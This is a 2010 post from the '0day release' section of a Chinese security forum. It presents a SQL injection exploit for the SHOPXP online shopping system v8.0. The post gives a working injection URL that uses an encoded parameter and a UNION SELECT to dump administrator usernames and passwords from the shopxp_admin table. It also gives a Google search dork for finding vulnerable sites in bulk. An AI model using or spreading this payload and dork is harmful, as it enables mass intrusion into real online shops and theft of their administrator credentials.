【3.A.S.T】网络安全爱好者 » 0day发布 » SHOPXP网上购物系统 v8.0

gxp118 发表于 2010-1-15 00:55

SHOPXP网上购物系统 v8.0

简单明了的一看就会
构造URL注入即可。

exp:

[url]http://www.xxx.cn/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201[/url],2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin



批量

google:inurl:shopxp_news.asp

查看完整版本: SHOPXP网上购物系统 v8.0